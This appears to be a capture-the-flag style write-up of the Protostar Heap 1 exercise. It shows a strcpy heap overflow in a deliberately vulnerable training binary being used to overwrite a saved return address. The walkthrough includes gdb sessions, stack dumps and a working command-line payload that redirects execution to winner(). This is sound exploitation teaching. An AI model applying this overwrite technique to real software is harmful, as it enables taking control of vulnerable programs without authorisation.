Exploit Exercises — Protostar Heap 1

This level is different. Finding a vulnerabilty in the code is easy:

strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);

There are no buffer length checks. We can crash our program like this:

$ ./heap1 `python -c "print 'A'*30"` aaa
Segmentation fault

But when you use smaller input, it runs without any errors:

$ ./heap1 `python -c "print 'A'*20"` aaa
and that's a wrap folks!

Why is this hapenning? I started gdb and overflowed the input by 1 byte:

(gdb) r `python -c "print 'A'*21"` aaa
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*21"` aaa

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x8040041 <Address 0x8040041 out of bounds>, src=0xbffff899 "aaa")
    at strcpy.c:40
40    strcpy.c: No such file or directory.
    in strcpy.c

I noticed that there is 0x41 byte inside strcpy() function. That looked strange, so I run the program again, but I overflowed it with 2 bytes this time:

(gdb) r `python -c "print 'A'*22"` aaa
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*22"` aaa

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x8004141 <Address 0x8004141 out of bounds>, src=0xbffff899 "aaa")
    at strcpy.c:40
40    strcpy.c: No such file or directory.
    in strcpy.c

Certainly, we are rewriting the address of a buffer in strcpy(). Since the second parameter passed to the function is aaa, it means that we are in the second strcpy() function.

At this moment I realized how I can exploit this app. As we control which address is getting rewriten by the second strcpy() writes, we can rewrite it by the return address from the stack. For example, the second strcpy() can write the second input parameter into it. As a result, we can change the program flow.

Let’s examine the stack after the crash:

(gdb) r `python -c "print 'A'*30"` aaa
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*30"` aaa

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbffff899 "aaa")
    at strcpy.c:40
40    strcpy.c: No such file or directory.
    in strcpy.c
(gdb) x/2x $esp
0xbffff640:    0x00000000    0x00000000
(gdb) x/20x $esp
0xbffff640:    0x00000000    0x00000000    0xbffff678    0x0804855a
0xbffff650:    0x41414141    0xbffff899    0x08048580    0xbffff678
0xbffff660:    0xb7ec6365    0x0804a008    0x0804a028    0xb7fd7ff4
0xbffff670:    0x08048580    0x00000000    0xbffff6f8    0xb7eadc76
0xbffff680:    0x00000003    0xbffff724    0xbffff734    0xb7fe1848

0x41414141 is the address of a buffer for strcpy(). There’s 0xbffff899 after it, it’s an address of aaa string (we can see it from the error). Before 0x41414141 there are two addresses. Probably it’s saved eip and ebp registers. Let’s look at registers:

(gdb) info registers
...
esp            0xbffff640    0xbffff640
ebp            0xbffff648    0xbffff648
...
eip            0xb7f09df4    0xb7f09df4 <*__GI_strcpy+20>
...

Our assumption is correct.

So we need to rewrite the address i2->name by the address of the return address on the stack. We start rewriting after 20 byte and we know the address of the return address on the stack is 2 words ahead, so it is 0xbffff640 + 3*4 = 0xbffff64c. Let’s try to rewrite i2->name, run gdb and set breakpoint on the second strcpy() call:

(gdb) b* 0x08048555
Breakpoint 1 at 0x8048555: file heap1/heap1.c, line 32.
(gdb) r `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` CCCC
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` CCCC

Breakpoint 1, 0x08048555 in main (argc=3, argv=0xbffff724) at heap1/heap1.c:32
32    in heap1/heap1.c

If we look at our stack, we can see that it was successfully rewritten by 0x43434343 (see the value on 0xbffff64c memory address):

(gdb) s
...
(gdb) s
...
(gdb) x/24x $esp-12
0xbffff634:    0xb7ff6210    0xbffff87b    0xb7f09de0    0x00000000
0xbffff644:    0x00000000    0xbffff678    0x43434343    0xbffff64c
0xbffff654:    0xbffff894    0x08048580    0xbffff678    0xb7ec6365
0xbffff664:    0x0804a008    0x0804a028    0xb7fd7ff4    0x08048580
0xbffff674:    0x00000000    0xbffff6f8    0xb7eadc76    0x00000003
0xbffff684:    0xbffff724    0xbffff734    0xb7fe1848    0xbffff6e0

Now we need to replace the second parameter with the address of winner() function. We can get the address of the function using readelf:

$ readelf -Ws heap1 | grep winner
    55: 08048494    37 FUNC    GLOBAL DEFAULT   14 winner

Or from gdb:

(gdb) print winner
$1 = {void (void)} 0x8048494 <winner>

Now we can run out exploit:

(gdb) r `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` `python -c "print '\x94\x84\x04\x08'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*20 + '\x4c\xf6\xff\xbf'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1484241540

Program received signal SIGILL, Illegal instruction.
0xbffff602 in ?? ()

If we run it from console only, it won’t work because of environment variables. Let’s find the correct address:

(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) r `python -c "print 'A'*30"` aaa
Starting program: /opt/protostar/bin/heap1 `python -c "print 'A'*30"` aaa

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbffffdb0 "aaa") at strcpy.c:40
40    strcpy.c: No such file or directory.
    in strcpy.c
(gdb) x/8x $esp
0xbffffb60:    0x00000000    0x00000000    0xbffffb98    0x0804855a
0xbffffb70:    0x41414141    0xbffffdb0    0x08048580    0xbffffb98

Calculate the offset like before 0xbffffb60 + 12 = 0x0xbffffb6c and run exploit in console:

$ /opt/protostar/bin/heap1 `python -c "print 'A'*20 + '\x6c\xfb\xff\xbf'"` `python -c "print '\x94\x84\x04\x08'"`
and we have a winner @ 1484242022
Segmentation fault